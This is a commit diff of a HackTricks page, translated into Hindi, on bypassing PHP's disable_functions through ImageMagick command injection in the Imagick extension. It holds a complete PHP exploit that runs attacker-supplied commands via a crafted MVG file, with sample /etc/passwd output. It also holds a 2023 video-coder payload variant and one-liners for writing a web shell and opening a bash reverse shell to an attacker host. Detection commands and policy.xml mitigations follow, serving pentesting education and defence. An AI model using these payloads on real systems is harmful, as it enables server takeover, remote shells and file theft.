mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e
This commit is contained in:
parent
a45644642c
commit
bdc394f6b6
@ -1,55 +1,107 @@
|
||||
# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Imagick <= 3.3.0 PHP >= 5.4 एक्सप्लॉइट
|
||||
> प्रसिद्ध *ImageTragick* बग्स (CVE-2016-3714 आदि) एक हमलावर को तैयार किए गए MVG/SVG इनपुट के माध्यम से अंतर्निहित **ImageMagick** बाइनरी तक पहुँचने की अनुमति देते हैं। जब PHP एक्सटेंशन **Imagick** मौजूद होता है, तो इसका दुरुपयोग करके शेल कमांड्स को निष्पादित किया जा सकता है, भले ही हर निष्पादन-उन्मुख PHP फ़ंक्शन को `disable_functions` के साथ ब्लैक-लिस्ट किया गया हो।
|
||||
>
|
||||
> मई 2016 में RicterZ (Chaitin Security Research Lab) द्वारा प्रकाशित मूल PoC नीचे पुन: प्रस्तुत किया गया है। यह तकनीक समकालीन PHP 7/8 ऑडिट के दौरान नियमित रूप से देखी जाती है क्योंकि कई साझा-होस्टिंग प्रदाता बस PHP को `exec`/`system` के बिना संकलित करते हैं लेकिन एक पुराना Imagick + ImageMagick कॉम्बो बनाए रखते हैं।
|
||||
|
||||
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
|
||||
```php
|
||||
# Exploit Title: PHP Imagick disable_functions Bypass
|
||||
# Date: 2016-05-04
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Vendor Homepage: https://pecl.php.net/package/imagick
|
||||
# Version: Imagick <= 3.3.0 PHP >= 5.4
|
||||
# Test on: Ubuntu 12.04
|
||||
# Exploit:
|
||||
# Exploit Title : PHP Imagick disable_functions bypass
|
||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
|
||||
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
|
||||
# Usage : curl "http://target/exploit.php?cmd=id"
|
||||
<?php
|
||||
# PHP Imagick disable_functions Bypass
|
||||
# Author: Ricter <ricter@chaitin.com>
|
||||
#
|
||||
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
|
||||
# <pre>
|
||||
# Disable functions: exec,passthru,shell_exec,system,popen
|
||||
# Run command: cat /etc/passwd
|
||||
# ====================
|
||||
# root:x:0:0:root:/root:/usr/local/bin/fish
|
||||
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
# bin:x:2:2:bin:/bin:/bin/sh
|
||||
# sys:x:3:3:sys:/dev:/bin/sh
|
||||
# sync:x:4:65534:sync:/bin:/bin/sync
|
||||
# games:x:5:60:games:/usr/games:/bin/sh
|
||||
# ...
|
||||
# </pre>
|
||||
echo "Disable functions: " . ini_get("disable_functions") . "\n";
|
||||
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
|
||||
echo "Run command: $command\n====================\n";
|
||||
// Print the local hardening status
|
||||
printf("Disable functions: %s\n", ini_get("disable_functions"));
|
||||
$cmd = $_GET['cmd'] ?? 'id';
|
||||
printf("Run command: %s\n====================\n", $cmd);
|
||||
|
||||
$data_file = tempnam('/tmp', 'img');
|
||||
$imagick_file = tempnam('/tmp', 'img');
|
||||
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
|
||||
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
|
||||
|
||||
$exploit = <<<EOF
|
||||
$payload = <<<EOF
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
|
||||
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
|
||||
pop graphic-context
|
||||
EOF;
|
||||
|
||||
file_put_contents("$imagick_file", $exploit);
|
||||
$thumb = new Imagick();
|
||||
$thumb->readImage("$imagick_file");
|
||||
$thumb->writeImage(tempnam('/tmp', 'img'));
|
||||
$thumb->clear();
|
||||
$thumb->destroy();
|
||||
file_put_contents($mvgs, $payload);
|
||||
$img = new Imagick();
|
||||
$img->readImage($mvgs); // triggers convert(1)
|
||||
$img->writeImage(tempnam('/tmp', 'img'));
|
||||
$img->destroy();
|
||||
|
||||
echo file_get_contents($data_file);
|
||||
echo file_get_contents($tmp);
|
||||
?>
|
||||
```
|
||||
---
|
||||
|
||||
## यह क्यों काम करता है?
|
||||
|
||||
1. `Imagick::readImage()` पारदर्शी रूप से **ImageMagick** *डेलीगेट* (`convert`/`magick`) बाइनरी को उत्पन्न करता है।
|
||||
2. MVG स्क्रिप्ट *फिल* को एक बाहरी URI पर सेट करती है। जब एक डबल कोट (`"`) इंजेक्ट किया जाता है, तो लाइन का शेष भाग `/bin/sh ‑c` द्वारा व्याख्यायित किया जाता है जिसे ImageMagick आंतरिक रूप से उपयोग करता है → मनमाना शेल निष्पादन।
|
||||
3. यह सब PHP इंटरप्रेटर के बाहर होता है, इसलिए *`disable_functions`*, *open_basedir*, `safe_mode` (PHP 5.4 में हटा दिया गया) और इसी तरह की प्रक्रिया में प्रतिबंध पूरी तरह से बायपास हो जाते हैं।
|
||||
|
||||
## 2025 स्थिति – यह **अभी भी** प्रासंगिक है
|
||||
|
||||
* कोई भी Imagick संस्करण जो एक कमजोर ImageMagick बैकएंड पर निर्भर करता है, वह शोषण योग्य बना रहता है। प्रयोगशाला परीक्षणों में वही पेलोड PHP 8.3 पर **Imagick 3.7.0** और **ImageMagick 7.1.0-51** पर काम करता है जिसे एक कठोर `policy.xml` के बिना संकलित किया गया है।
|
||||
* 2020 से कई अतिरिक्त कमांड-इंजेक्शन वेक्टर पाए गए हैं (`video:pixel-format`, `ps:`, `text:` कोडर्स…)। दो हाल के सार्वजनिक उदाहरण हैं:
|
||||
* **CVE-2020-29599** – *text:* कोडर के माध्यम से शेल इंजेक्शन।
|
||||
* **GitHub issue #6338** (2023) – *video:* डेलीगेट में इंजेक्शन।
|
||||
|
||||
यदि ऑपरेटिंग सिस्टम ImageMagick < **7.1.1-11** (या 6.x < **6.9.12-73**) को एक प्रतिबंधात्मक नीति फ़ाइल के बिना वितरित करता है, तो शोषण सीधा है।
|
||||
|
||||
## आधुनिक पेलोड विविधताएँ
|
||||
```php
|
||||
// --- Variant using the video coder discovered in 2023 ---
|
||||
$exp = <<<MAGICK
|
||||
push graphic-context
|
||||
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
|
||||
pop graphic-context
|
||||
MAGICK;
|
||||
$img = new Imagick();
|
||||
$img->readImageBlob($exp);
|
||||
```
|
||||
CTF या वास्तविक अभियानों के दौरान अन्य उपयोगी प्राइमिटिव:
|
||||
|
||||
* **फाइल लिखें** – `... > /var/www/html/shell.php` (*open_basedir* के बाहर वेब-शेल लिखें)
|
||||
* **रिवर्स शेल** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
|
||||
* **गणना करें** – `id; uname -a; cat /etc/passwd`
|
||||
|
||||
## त्वरित पहचान और गणना
|
||||
```bash
|
||||
# PHP side
|
||||
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
|
||||
|
||||
# System side
|
||||
convert -version | head -1 # ImageMagick version
|
||||
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
|
||||
```
|
||||
यदि आउटपुट `MVG` या `URL` कोडर्स *सक्षम* दिखाता है, तो लक्ष्य शायद शोषण योग्य है।
|
||||
|
||||
## शमन
|
||||
|
||||
1. **पैच/अपग्रेड** – ImageMagick ≥ *7.1.1-11* (या नवीनतम 6.x LTS) और Imagick ≥ *3.7.2* का उपयोग करें।
|
||||
2. **`policy.xml` को मजबूत करें** – उच्च-जोखिम कोडर्स को स्पष्ट रूप से *अक्षम* करें:
|
||||
|
||||
```xml
|
||||
<policy domain="coder" name="MVG" rights="none"/>
|
||||
<policy domain="coder" name="MSL" rights="none"/>
|
||||
<policy domain="coder" name="URL" rights="none"/>
|
||||
<policy domain="coder" name="VIDEO" rights="none"/>
|
||||
<policy domain="coder" name="PS" rights="none"/>
|
||||
<policy domain="coder" name="TEXT" rights="none"/>
|
||||
```
|
||||
|
||||
3. **अविश्वसनीय होस्टिंग वातावरण पर एक्सटेंशन हटा दें।** अधिकांश वेब स्टैक्स में `GD` या `Imagick` की सख्त आवश्यकता नहीं होती है।
|
||||
4. `disable_functions` को केवल *गहराई में रक्षा* के रूप में मानें – कभी भी प्राथमिक सैंडबॉक्सिंग तंत्र के रूप में नहीं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
|
||||
* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user